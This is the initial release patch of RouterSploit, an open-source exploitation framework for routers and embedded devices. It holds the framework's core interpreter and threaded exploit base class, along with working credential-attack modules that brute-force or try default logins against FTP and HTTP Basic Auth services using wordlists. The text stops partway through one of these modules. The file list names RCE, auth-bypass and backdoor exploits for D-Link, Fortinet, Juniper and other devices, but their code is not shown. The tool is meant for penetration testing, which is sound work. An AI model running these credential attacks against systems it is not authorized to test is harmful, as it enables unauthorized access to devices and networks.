From f317cd8bb256411d802c754f5de5a56132374bfd Mon Sep 17 00:00:00 2001 From: Marcin Bury Date: Wed, 30 Mar 2016 12:47:30 +0100 Subject: [PATCH] release 1.0.0 Wildest Dreams --- .gitignore | 66 +++ LICENSE | 16 + README.md | 21 + routersploit/__init__.py | 9 + routersploit/exceptions.py | 2 + routersploit/exploits.py | 96 ++++ routersploit/interpreter.py | 377 +++++++++++++ routersploit/modules/__init__.py | 1 + routersploit/modules/creds/__init__.py | 1 + routersploit/modules/creds/ftp_bruteforce.py | 104 ++++ routersploit/modules/creds/ftp_default.py | 96 ++++ .../modules/creds/http_basic_bruteforce.py | 91 +++ .../modules/creds/http_basic_default.py | 82 +++ .../modules/creds/http_form_bruteforce.py | 156 ++++++ .../modules/creds/http_form_default.py | 149 +++++ routersploit/modules/creds/snmp_bruteforce.py | 72 +++ routersploit/modules/creds/ssh_bruteforce.py | 87 +++ routersploit/modules/creds/ssh_default.py | 81 +++ .../modules/creds/telnet_bruteforce.py | 104 ++++ routersploit/modules/creds/telnet_default.py | 97 ++++ .../modules/exploits/2wire/__init__.py | 0 .../exploits/2wire/gateway_auth_bypass.py | 65 +++ routersploit/modules/exploits/__init__.py | 0 .../modules/exploits/asmax/__init__.py | 0 .../asmax/ar_1004g_password_disclosure.py | 75 +++ .../modules/exploits/asmax/ar_804_gu_rce.py | 68 +++ .../modules/exploits/asus/__init__.py | 0 .../asus/rt_n16_password_disclosure.py | 74 +++ .../modules/exploits/dlink/__init__.py | 0 .../dlink/dir_300_320_615_auth_bypass.py | 67 +++ .../dlink/dir_300_600_615_info_disclosure.py | 70 +++ .../modules/exploits/dlink/dir_300_600_rce.py | 75 +++ .../dlink/dir_645_password_disclosure.py | 81 +++ .../exploits/dlink/dns_320l_327l_rce.py | 77 +++ .../dlink/dsl_2750b_info_disclosure.py | 78 +++ .../exploits/dlink/dwr_932_info_disclosure.py | 76 +++ .../modules/exploits/fortinet/__init__.py | 0 .../fortinet/fortigate_os_backdoor.py | 127 +++++ .../modules/exploits/juniper/__init__.py | 0 .../exploits/juniper/screenos_backdoor.py | 109 ++++ .../modules/exploits/linksys/__init__.py | 0 .../modules/exploits/linksys/wap54gv3_rce.py | 77 +++ .../modules/exploits/multi/__init__.py | 0 .../exploits/multi/misfortune_cookie.py | 63 +++ .../modules/exploits/netgear/__init__.py | 0 .../exploits/netgear/n300_auth_bypass.py | 54 ++ routersploit/modules/scanners/__init__.py | 0 routersploit/modules/scanners/dlink_scan.py | 61 +++ routersploit/test/__init__.py | 1 + routersploit/test/test_completer.py | 184 +++++++ routersploit/test/test_interpreter.py | 516 ++++++++++++++++++ routersploit/utils.py | 203 +++++++ routersploit/wordlists/__init__.py | 7 + routersploit/wordlists/defaults.txt | 396 ++++++++++++++ routersploit/wordlists/passwords.txt | 420 ++++++++++++++ routersploit/wordlists/snmp.txt | 120 ++++ routersploit/wordlists/usernames.txt | 271 +++++++++ rsf.py | 11 + 58 files changed, 5134 insertions(+) create mode 100644 .gitignore create mode 100644 LICENSE create mode 100644 README.md create mode 100644 routersploit/__init__.py create mode 100644 routersploit/exceptions.py create mode 100644 routersploit/exploits.py create mode 100644 routersploit/interpreter.py create mode 100644 routersploit/modules/__init__.py create mode 100644 routersploit/modules/creds/__init__.py create mode 100644 routersploit/modules/creds/ftp_bruteforce.py create mode 100644 routersploit/modules/creds/ftp_default.py create mode 100644 routersploit/modules/creds/http_basic_bruteforce.py create mode 100644 routersploit/modules/creds/http_basic_default.py create mode 100644 routersploit/modules/creds/http_form_bruteforce.py create mode 100644 routersploit/modules/creds/http_form_default.py create mode 100644 routersploit/modules/creds/snmp_bruteforce.py create mode 100644 routersploit/modules/creds/ssh_bruteforce.py create mode 100644 routersploit/modules/creds/ssh_default.py create mode 100644 routersploit/modules/creds/telnet_bruteforce.py create mode 100644 routersploit/modules/creds/telnet_default.py create mode 100644 routersploit/modules/exploits/2wire/__init__.py create mode 100644 routersploit/modules/exploits/2wire/gateway_auth_bypass.py create mode 100644 routersploit/modules/exploits/__init__.py create mode 100644 routersploit/modules/exploits/asmax/__init__.py create mode 100644 routersploit/modules/exploits/asmax/ar_1004g_password_disclosure.py create mode 100644 routersploit/modules/exploits/asmax/ar_804_gu_rce.py create mode 100644 routersploit/modules/exploits/asus/__init__.py create mode 100644 routersploit/modules/exploits/asus/rt_n16_password_disclosure.py create mode 100644 routersploit/modules/exploits/dlink/__init__.py create mode 100644 routersploit/modules/exploits/dlink/dir_300_320_615_auth_bypass.py create mode 100644 routersploit/modules/exploits/dlink/dir_300_600_615_info_disclosure.py create mode 100644 routersploit/modules/exploits/dlink/dir_300_600_rce.py create mode 100644 routersploit/modules/exploits/dlink/dir_645_password_disclosure.py create mode 100644 routersploit/modules/exploits/dlink/dns_320l_327l_rce.py create mode 100644 routersploit/modules/exploits/dlink/dsl_2750b_info_disclosure.py create mode 100644 routersploit/modules/exploits/dlink/dwr_932_info_disclosure.py create mode 100644 routersploit/modules/exploits/fortinet/__init__.py create mode 100644 routersploit/modules/exploits/fortinet/fortigate_os_backdoor.py create mode 100644 routersploit/modules/exploits/juniper/__init__.py create mode 100644 routersploit/modules/exploits/juniper/screenos_backdoor.py create mode 100644 routersploit/modules/exploits/linksys/__init__.py create mode 100644 routersploit/modules/exploits/linksys/wap54gv3_rce.py create mode 100644 routersploit/modules/exploits/multi/__init__.py create mode 100644 routersploit/modules/exploits/multi/misfortune_cookie.py create mode 100644 routersploit/modules/exploits/netgear/__init__.py create mode 100644 routersploit/modules/exploits/netgear/n300_auth_bypass.py create mode 100644 routersploit/modules/scanners/__init__.py create mode 100644 routersploit/modules/scanners/dlink_scan.py create mode 100644 routersploit/test/__init__.py create mode 100644 routersploit/test/test_completer.py create mode 100644 routersploit/test/test_interpreter.py create mode 100644 routersploit/utils.py create mode 100644 routersploit/wordlists/__init__.py create mode 100644 routersploit/wordlists/defaults.txt create mode 100644 routersploit/wordlists/passwords.txt create mode 100644 routersploit/wordlists/snmp.txt create mode 100644 routersploit/wordlists/usernames.txt create mode 100755 rsf.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 000000000..27bb7a22c --- /dev/null +++ b/.gitignore @@ -0,0 +1,66 @@ +# IntelliJ project files +.idea +out +gen + +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover + +# Translations +*.mo +*.pot + +# Django stuff: +*.log + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# VS Code +.vscode diff --git a/LICENSE b/LICENSE new file mode 100644 index 000000000..3f068be19 --- /dev/null +++ b/LICENSE @@ -0,0 +1,16 @@ +Copyright 2016, The RouterSploit Framework (RSF) by Reverse Shell Security +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + * Neither the name of RouterSploit Framework nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +The above licensing was taken from the BSD licensing and is applied to RouterSploit Framework as well. + +Note that the RouterSploit Framework is provided as is, and is a royalty free open-source application. + +Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit. diff --git a/README.md b/README.md new file mode 100644 index 000000000..56be1d756 --- /dev/null +++ b/README.md @@ -0,0 +1,21 @@ +# RouterSploit - Router Exploitation Framework + +The RouteSploit Framework is an open-source exploitation framework dedicated to embedded devices. + +It consists of various modules that aids penetration testing operations: + +- exploits - modules that takes advantage of identified vulnerabilities +- creds - modules designed to test credentials against network services +- scanners - modules that check if target is vulnerable to any exploit + +# Installation + + sudo apt-get install python-requests python-paramiko python-netsnmp + git clone https://github.com/reverse-shell/routersploit + ./rsf.py + +# License + +License has been taken from BSD licensing and applied to RouterSploit Framework. +Please see LICENSE for more details. + diff --git a/routersploit/__init__.py b/routersploit/__init__.py new file mode 100644 index 000000000..952f9a656 --- /dev/null +++ b/routersploit/__init__.py @@ -0,0 +1,9 @@ +from routersploit.utils import print_error, print_status, print_success, print_table, sanitize_url, LockedIterator +from routersploit import exploits +from routersploit import wordlists + +all = [ + print_error, print_status, print_success, + exploits, +] + diff --git a/routersploit/exceptions.py b/routersploit/exceptions.py new file mode 100644 index 000000000..6c364369a --- /dev/null +++ b/routersploit/exceptions.py @@ -0,0 +1,2 @@ +class RoutersploitException(Exception): + pass \ No newline at end of file diff --git a/routersploit/exploits.py b/routersploit/exploits.py new file mode 100644 index 000000000..3065dd62f --- /dev/null +++ b/routersploit/exploits.py @@ -0,0 +1,96 @@ +from weakref import WeakKeyDictionary +from itertools import chain +import threading +import time + +from routersploit.utils import print_info + + +class Option(object): + """ Exploit attribute that is set by the end user. """ + + def __init__(self, default, description=""): + self.default = default + self.description = description + self.data = WeakKeyDictionary() + + def __get__(self, instance, owner): + return self.data.get(instance, self.default) + + def __set__(self, instance, value): + self.data[instance] = value + + +class ExploitOptionsAggregator(type): + """ Metaclass for exploit base class. + + Metaclass is aggregating all possible Attributes that user can set + for tab completion purposes. + """ + def __new__(cls, name, bases, attrs): + try: + base_exploit_attributes = chain(map(lambda x: x.exploit_attributes, bases)) + except AttributeError: + attrs['exploit_attributes'] = {} + else: + attrs['exploit_attributes'] = {k: v for d in base_exploit_attributes for k, v in d.iteritems()} + + for key, value in attrs.iteritems(): + if isinstance(value, Option): + attrs['exploit_attributes'].update({key: value.description}) + elif key == "__info__": + attrs["_{}{}".format(name, key)] = value + del attrs[key] + elif key in attrs['exploit_attributes']: # Removing exploit_attribute that was overwritten + del attrs['exploit_attributes'][key] # in the child and is not a Option() instance. + return super(ExploitOptionsAggregator, cls).__new__(cls, name, bases, attrs) + + +class Exploit(object): + """ Base class for exploits. """ + + __metaclass__ = ExploitOptionsAggregator + target = Option(default="", description="Target IP address.") + # port = Option(default="", description="Target port.") + + @property + def options(self): + """ Returns list of options that user can set. + + Returns list of options aggregated by + ExploitOptionsAggregator metaclass that user can set. + + :return: list of options that user can set + """ + return self.exploit_attributes.keys() + + def run(self): + raise NotImplementedError("You have to define your own 'run' method.") + + def check(self): + raise NotImplementedError("You have to define your own 'check' method.") + + def run_threads(self, threads, target, *args, **kwargs): + workers = [] + threads_running = threading.Event() + threads_running.set() + for worker_id in xrange(int(threads)): + worker = threading.Thread( + target=target, + args=chain((threads_running,), args), + kwargs=kwargs, + name='worker-{}'.format(worker_id), + ) + workers.append(worker) + worker.start() + + start = time.time() + try: + while worker.isAlive(): + worker.join(1) + except KeyboardInterrupt: + threads_running.clear() + + for worker in workers: + worker.join() + print_info('Elapsed time: ', time.time() - start, 'seconds') diff --git a/routersploit/interpreter.py b/routersploit/interpreter.py new file mode 100644 index 000000000..01839a3ff --- /dev/null +++ b/routersploit/interpreter.py @@ -0,0 +1,377 @@ +from __future__ import print_function +import os +import sys +import traceback +import atexit +import importlib +import inspect + +from routersploit.exceptions import RoutersploitException +from routersploit.exploits import Exploit +from routersploit import utils +from routersploit import modules as rsf_modules + +if sys.platform == "darwin": + import gnureadline as readline +else: + import readline + + +class BaseInterpreter(object): + history_file = os.path.expanduser("~/.history") + history_length = 100 + + def __init__(self): + self.setup() + self.banner = "" + + def setup(self): + """ Initialization of third-party libraries + + Setting interpreter history. + Setting appropriate completer function. + + :return: + """ + if not os.path.exists(self.history_file): + open(self.history_file, 'a+').close() + + readline.read_history_file(self.history_file) + readline.set_history_length(self.history_length) + atexit.register(readline.write_history_file, self.history_file) + + readline.parse_and_bind('set enable-keypad on') + + readline.set_completer(self.complete) + readline.set_completer_delims(' \t\n;') + readline.parse_and_bind("tab: complete") + + def parse_line(self, line): + """ Split line into command and argument. + + :param line: line to parse + :return: (command, argument) + """ + command, _, arg = line.strip().partition(" ") + return command, arg.strip() + + @property + def prompt(self): + """ Returns prompt string """ + return ">>>" + + def get_command_handler(self, command): + """ Parsing command and returning appropriate handler. + + :param command: command + :return: command_handler + """ + try: + command_handler = getattr(self, "command_{}".format(command)) + except AttributeError: + raise RoutersploitException("Unknown command: '{}'".format(command)) + + return command_handler + + def start(self): + """ Routersploit main entry point. Starting interpreter loop. """ + + print(self.banner) + while True: + try: + command, args = self.parse_line(raw_input(self.prompt)) + if not command: + continue + command_handler = self.get_command_handler(command) + command_handler(args) + except RoutersploitException as err: + utils.print_error(err) + except KeyboardInterrupt: + print() + utils.print_status("routersploit stopped") + break + + def complete(self, text, state): + """Return the next possible completion for 'text'. + + If a command has not been entered, then complete against command list. + Otherwise try to call complete_ to get list of completions. + """ + if state == 0: + original_line = readline.get_line_buffer() + line = original_line.lstrip() + stripped = len(original_line) - len(line) + start_index = readline.get_begidx() - stripped + end_index = readline.get_endidx() - stripped + + if start_index > 0: + cmd, args = self.parse_line(line) + if cmd == '': + complete_function = self.default_completer + else: + try: + complete_function = getattr(self, 'complete_' + cmd) + except AttributeError: + complete_function = self.default_completer + else: + complete_function = self.raw_command_completer + + self.completion_matches = complete_function(text, line, start_index, end_index) + + try: + return self.completion_matches[state] + except IndexError: + return None + + def commands(self, *ignored): + """ Returns full list of interpreter commands. + + :param ignored: + :return: full list of interpreter commands + """ + return [command.rsplit("_").pop() for command in dir(self) if command.startswith("command_")] + + def raw_command_completer(self, text, line, start_index, end_index): + """ Complete command w/o any argument """ + return filter(lambda entry: entry.startswith(text), self.suggested_commands()) + + def default_completer(self, *ignored): + return [] + + def suggested_commands(self): + """ Entry point for intelligent tab completion. + + Overwrite this method to suggest suitable commands. + + :return: list of suitable commands + """ + return self.commands() + + +class RoutersploitInterpreter(BaseInterpreter): + history_file = os.path.expanduser("~/.rsf_history") + + def __init__(self): + super(RoutersploitInterpreter, self).__init__() + + self.current_module = None + self.raw_prompt_template = None + self.module_prompt_template = None + self.prompt_hostname = 'rsf' + self.modules_directory = rsf_modules.__path__[0] + self.modules = [] + self.main_modules_dirs = [] + + self.__parse_prompt() + self.load_modules() + + self.banner = """ ______ _ _____ _ _ _ + | ___ \ | | / ___| | | (_) | + | |_/ /___ _ _| |_ ___ _ __\ `--. _ __ | | ___ _| |_ + | // _ \| | | | __/ _ \ '__|`--. \ '_ \| |/ _ \| | __| + | |\ \ (_) | |_| | || __/ | /\__/ / |_) | | (_) | | |_ + \_| \_\___/ \__,_|\__\___|_| \____/| .__/|_|\___/|_|\__| + | | + Router Exploitation Framework |_| + + Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz) + Codename : Wildest Dreams + Version : 1.0.0 +""" + + def load_modules(self): + self.main_modules_dirs = [module for module in os.listdir(self.modules_directory) if '.py' not in module] + self.modules = [] + + for root, dirs, files in os.walk(self.modules_directory): + _, package, root = root.rpartition('routersploit') + root = "".join((package, root)).replace(os.sep, '.') + modules = map(lambda x: '.'.join((root, x.strip('.py'))), filter(lambda x: x.endswith('.py'), files)) + for module_path in modules: + try: + module = importlib.import_module(module_path) + except ImportError: + pass + else: + klasses = inspect.getmembers(module, inspect.isclass) + exploits = filter(lambda x: issubclass(x[1], Exploit), klasses) + # exploits = map(lambda x: '.'.join([module_path.split('.', 2).pop(), x[0]]), exploits) + # self.modules.extend(exploits) + if exploits: + self.modules.append(module_path.split('.', 2).pop()) + + def __parse_prompt(self): + raw_prompt_default_template = "\033[4m{host}\033[0m > " + raw_prompt_template = os.getenv("RSF_RAW_PROMPT", raw_prompt_default_template).replace('\\033', '\033') + self.raw_prompt_template = raw_prompt_template if '{host}' in raw_prompt_template else raw_prompt_default_template + + module_prompt_default_template = "\033[4m{host}\033[0m (\033[91m{module}\033[0m) > " + module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033') + self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template + + @property + def module_metadata(self): + return getattr(self.current_module, "_{}__info__".format(self.current_module.__class__.__name__)) + + @property + def prompt(self): + """ Returns prompt string based on current_module attribute. + + Adding module prefix (module.name) if current_module attribute is set. + + :return: prompt string with appropriate module prefix. + """ + if self.current_module: + try: + return self.module_prompt_template.format(host=self.prompt_hostname, module=self.module_metadata['name']) + except (AttributeError, KeyError) as e: + return self.module_prompt_template.format(host=self.prompt_hostname, module="UnnamedModule") + else: + return self.raw_prompt_template.format(host=self.prompt_hostname) + + def available_modules_completion(self, text): + """ Looking for tab completion hints using setup.py entry_points. + + May need optimization in the future! + + :param text: argument of 'use' command + :return: list of tab completion hints + """ + text = utils.pythonize_path(text) + all_possible_matches = filter(lambda x: x.startswith(text), self.modules) + matches = set() + for match in all_possible_matches: + head, sep, tail = match[len(text):].partition('.') + if not tail: + sep = "" + matches.add("".join((text, head, sep))) + return list(map(utils.humanize_path, matches)) # humanize output, replace dots to forward slashes + + def suggested_commands(self): + """ Entry point for intelligent tab completion. + + Based on state of interpreter this method will return intelligent suggestions. + + :return: list of most accurate command suggestions + """ + if self.current_module: + return ['run', 'back', 'set ', 'show ', 'check'] + else: + return ['use '] + + def command_back(self, *args, **kwargs): + self.current_module = None + + def command_use(self, module_path, *args, **kwargs): + module_path = utils.pythonize_path(module_path) + module_path = '.'.join(('routersploit', 'modules', module_path)) + # module_path, _, exploit_name = module_path.rpartition('.') + try: + module = importlib.import_module(module_path) + self.current_module = getattr(module, 'Exploit')() + except (ImportError, AttributeError, KeyError): + utils.print_error("Error during loading '{}' module".format(utils.humanize_path(module_path))) + + @utils.stop_after(2) + def complete_use(self, text, *args, **kwargs): + if text: + return self.available_modules_completion(text) + else: + return self.main_modules_dirs + + @utils.module_required + def command_run(self, *args, **kwargs): + try: + self.current_module.run() + except: + utils.print_error(traceback.format_exc(sys.exc_info())) + + def command_exploit(self, *args, **kwargs): + self.command_run() + + @utils.module_required + def command_set(self, *args, **kwargs): + key, _, value = args[0].partition(' ') + if key in self.current_module.options: + setattr(self.current_module, key, value) + utils.print_success({key: value}) + else: + utils.print_error("You can't set option '{}'.\n" + "Available options: {}".format(key, self.current_module.options)) + + @utils.stop_after(2) + def complete_set(self, text, *args, **kwargs): + if text: + return [' '.join((attr, "")) for attr in self.current_module.options if attr.startswith(text)] + else: + return self.current_module.options + + @utils.module_required + def get_opts(self, *args): + """ Generator returning module's Option attributes (option_name, option_value, option_description) + + :param args: Option names + :return: + """ + for opt_key in args: + try: + opt_description = self.current_module.exploit_attributes[opt_key] + opt_value = getattr(self.current_module, opt_key) + except (KeyError, AttributeError): + pass + else: + yield opt_key, opt_value, opt_description + + @utils.module_required + def command_show(self, *args, **kwargs): + info, options = 'info', 'options' + sub_command = args[0] + if sub_command == info: + info = ["name", "description", "targets", "authors", "references"] + + for i in info: + if i in self.module_metadata.keys(): + print("\n{}:".format(i.capitalize())) + if type(self.module_metadata[i]) is list: + for item in self.module_metadata[i]: + print("- {}".format(item)) + else: + print(self.module_metadata[i]) + print() + elif sub_command == options: + target_opts = {'port', 'target'} + module_opts = set(self.current_module.options) - target_opts + headers = ("Name", "Current settings", "Description") + + utils.print_info('\nTarget options:\n') + utils.print_table(headers, *self.get_opts(*target_opts)) + + if module_opts: + utils.print_info('\nModule options:\n') + utils.print_table(headers, *self.get_opts(*module_opts)) + + utils.print_info() + else: + print("Unknown command 'show {}'. You want to 'show {}' or 'show {}'?".format(sub_command, info, options)) + + @utils.stop_after(2) + def complete_show(self, text, *args, **kwargs): + sub_commands = ['info', 'options'] + if text: + return filter(lambda command: command.startswith(text), sub_commands) + else: + return sub_commands + + @utils.module_required + def command_check(self, *args, **kwargs): + try: + result = self.current_module.check() + except: + utils.print_error(traceback.format_exc(sys.exc_info())) + else: + if result is True: + utils.print_success("Target is vulnerable") + elif result is False: + utils.print_error("Target is not vulnerable") + else: + utils.print_status("Target could not be verified") diff --git a/routersploit/modules/__init__.py b/routersploit/modules/__init__.py new file mode 100644 index 000000000..57838b2f6 --- /dev/null +++ b/routersploit/modules/__init__.py @@ -0,0 +1 @@ +__author__ = 'fwkz' diff --git a/routersploit/modules/creds/__init__.py b/routersploit/modules/creds/__init__.py new file mode 100644 index 000000000..57838b2f6 --- /dev/null +++ b/routersploit/modules/creds/__init__.py @@ -0,0 +1 @@ +__author__ = 'fwkz' diff --git a/routersploit/modules/creds/ftp_bruteforce.py b/routersploit/modules/creds/ftp_bruteforce.py new file mode 100644 index 000000000..e1a6699a1 --- /dev/null +++ b/routersploit/modules/creds/ftp_bruteforce.py @@ -0,0 +1,104 @@ +import threading +import ftplib +import socket +import itertools + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Module performs bruteforce attack against FTP service. + If valid credentials are found, they are displayed to the user. + """ + __info__ = { + 'name': 'FTP Bruteforce', + 'author': [ + 'Marcin Bury ' # routersploit module + ] + } + + target = exploits.Option('', 'Target IP address') + port = exploits.Option(21, 'Target port') + + threads = exploits.Option(8, 'Number of threads') + usernames = exploits.Option('admin', 'Username or file with usernames (file://)') + passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') + + credentials = [] + + def run(self): + print_status("Running module...") + + self.credentials = [] + ftp = ftplib.FTP() + try: + ftp.connect(self.target, port=int(self.port), timeout=10) + except socket.error, socket.timeout: + print_error("Connection error: %s:%s" % (self.target, str(self.port))) + ftp.close() + return + except: + pass + ftp.close() + + if self.usernames.startswith('file://'): + usernames = open(self.usernames[7:], 'r') + else: + usernames = [self.usernames] + + if self.passwords.startswith('file://'): + passwords = open(self.passwords[7:], 'r') + else: + passwords = [self.passwords] + + collection = LockedIterator(itertools.product(usernames, passwords)) + + self.run_threads(self.threads, self.target_function, collection) + + if len(self.credentials): + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *self.credentials) + else: + print_error("Credentials not found") + + def target_function(self, running, data): + name = threading.current_thread().name + + print_status(name, 'process is starting...') + + ftp = ftplib.FTP() + while running.is_set(): + try: + user, password = data.next() + user = user.strip() + password = password.strip() + except StopIteration: + break + else: + retries = 0 + while retries < 3: + try: + ftp.connect(self.target, port=int(self.port), timeout=10) + break + except socket.error, socket.timeout: + print_error("{} Connection problem. Retrying...".format(name)) + retries += 1 + + if retries > 2: + print_error("Too much connection problems. Quiting...") + return + + try: + ftp.login(user, password) + + running.clear() + print_success("{}: Authentication succeed!".format(name), user, password) + self.credentials.append((user, password)) + except: + print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password)) + + ftp.close() + + print_status(name, 'process is terminated.') diff --git a/routersploit/modules/creds/ftp_default.py b/routersploit/modules/creds/ftp_default.py new file mode 100644 index 000000000..cb13d5f89 --- /dev/null +++ b/routersploit/modules/creds/ftp_default.py @@ -0,0 +1,96 @@ +import threading +import ftplib +import socket + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Module perform dictionary attack with default credentials against FTP service. + If valid credentials are found, they are displayed to the user. + """ + __info__ = { + 'name': 'FTP Default Creds', + 'author': [ + 'Marcin Bury ' # routersploit module + ] + } + + target = exploits.Option('', 'Target IP address') + port = exploits.Option(21, 'Target port') + + threads = exploits.Option(8, 'Numbers of threads') + defaults = exploits.Option(wordlists.defaults, 'User:Pass pair or file with default credentials (file://)') + + credentials = [] + + def run(self): + print_status("Running module...") + + self.credentials = [] + ftp = ftplib.FTP() + try: + ftp.connect(self.target, port=int(self.port), timeout=10) + except socket.error, socket.timeout: + print_error("Connection error: %s:%s" % (self.target, str(self.port))) + ftp.close() + return + except: + pass + ftp.close() + + if self.defaults.startswith('file://'): + defaults = open(self.defaults[7:], 'r') + else: + defaults = [self.defaults] + + collection = LockedIterator(defaults) + self.run_threads(self.threads, self.target_function, collection) + + if len(self.credentials): + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *self.credentials) + else: + print_error("Credentials not found") + + def target_function(self, running, data): + name = threading.current_thread().name + + print_status(name, 'process is starting...') + + ftp = ftplib.FTP() + while running.is_set(): + try: + line = data.next().split(":") + user = line[0].strip() + password = line[1].strip() + except StopIteration: + break + else: + retries = 0 + while retries < 3: + try: + ftp.connect(self.target, port=int(self.port), timeout=10) + break + except: + print_error("{} Connection problem. Retrying...".format(name)) + retries += 1 + + if retries > 2: + print_error("Too much connection problems. Quiting...") + return + + try: + ftp.login(user, password) + + running.clear() + print_success("{}: Authentication succeed!".format(name), user, password) + self.credentials.append((user, password)) + except: + print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password)) + + ftp.close() + + print_status(name, 'process is terminated.') diff --git a/routersploit/modules/creds/http_basic_bruteforce.py b/routersploit/modules/creds/http_basic_bruteforce.py new file mode 100644 index 000000000..92d571798 --- /dev/null +++ b/routersploit/modules/creds/http_basic_bruteforce.py @@ -0,0 +1,91 @@ +import threading +import requests +import itertools + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Module performs bruteforce attack against HTTP Basic Auth service. + If valid credentials are found, they are displayed to the user. + """ + __info__ = { + 'name': 'HTTP Basic Bruteforce', + 'author': [ + 'Marcin Bury ' # routersploit module + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') + port = exploits.Option(80, 'Target port') + + threads = exploits.Option(8, 'Numbers of threads') + usernames = exploits.Option('admin', 'Username or file with usernames (file://)') + passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') + + credentials = [] + + def run(self): + print_status("Running module...") + + self.credentials = [] + url = sanitize_url("{}:{}".format(self.target, self.port)) + + try: + r = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): + print_error("Invalid URL format: %s" % url) + return + except requests.exceptions.ConnectionError: + print_error("Connection error: %s" % url) + return + + if r.status_code != 401: + print_status("Target is not protected by Basic Auth") + return + + if self.usernames.startswith('file://'): + usernames = open(self.usernames[7:], 'r') + else: + usernames = [self.usernames] + + if self.passwords.startswith('file://'): + passwords = open(self.passwords[7:], 'r') + else: + passwords = [self.passwords] + + collection = LockedIterator(itertools.product(usernames, passwords)) + + self.run_threads(self.threads, self.target_function, collection) + + if len(self.credentials): + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *self.credentials) + else: + print_error("Credentials not found") + + def target_function(self, running, data): + name = threading.current_thread().name + url = sanitize_url("{}:{}".format(self.target, self.port)) + + print_status(name, 'process is starting...') + + while running.is_set(): + try: + user, password = data.next() + user = user.strip() + password = password.strip() + r = requests.get(url, auth=(user, password)) + + if r.status_code != 401: + running.clear() + print_success("{}: Authentication succeed!".format(name), user, password) + self.credentials.append((user, password)) + else: + print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password)) + except StopIteration: + break + + print_status(name, 'process is terminated.') diff --git a/routersploit/modules/creds/http_basic_default.py b/routersploit/modules/creds/http_basic_default.py new file mode 100644 index 000000000..a6217784a --- /dev/null +++ b/routersploit/modules/creds/http_basic_default.py @@ -0,0 +1,82 @@ +import threading +import requests + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Module perform dictionary attack with default credentials against HTTP Basic Auth service. + If valid credentials are found, they are displayed to the user. + """ + __info__ = { + 'name': 'HTTP Basic Default Creds', + 'author': [ + 'Marcin Bury ' # routersploit module + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') + port = exploits.Option(80, 'Target port') + threads = exploits.Option(8, 'Number of threads') + defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') + + credentials = [] + + def run(self): + print_status("Running module...") + + self.credentials = [] + url = sanitize_url("{}:{}".format(self.target, self.port)) + + try: + r = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): + print_error("Invalid URL format: %s" % url) + return + except requests.exceptions.ConnectionError: + print_error("Connection error: %s" % url) + return + + if r.status_code != 401: + print_status("Target is not protected by Basic Auth") + return + + if self.defaults.startswith('file://'): + defaults = open(self.defaults[7:], 'r') + else: + defaults = [self.defaults] + + collection = LockedIterator(defaults) + self.run_threads(self.threads, self.target_function, collection) + + if len(self.credentials): + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *self.credentials) + else: + print_error("Credentials not found") + + def target_function(self, running, data): + name = threading.current_thread().name + url = sanitize_url("{}:{}".format(self.target, self.port)) + + print_status(name, 'process is starting...') + + while running.is_set(): + try: + line = data.next().split(":") + user = line[0].strip() + password = line[1].strip() + r = 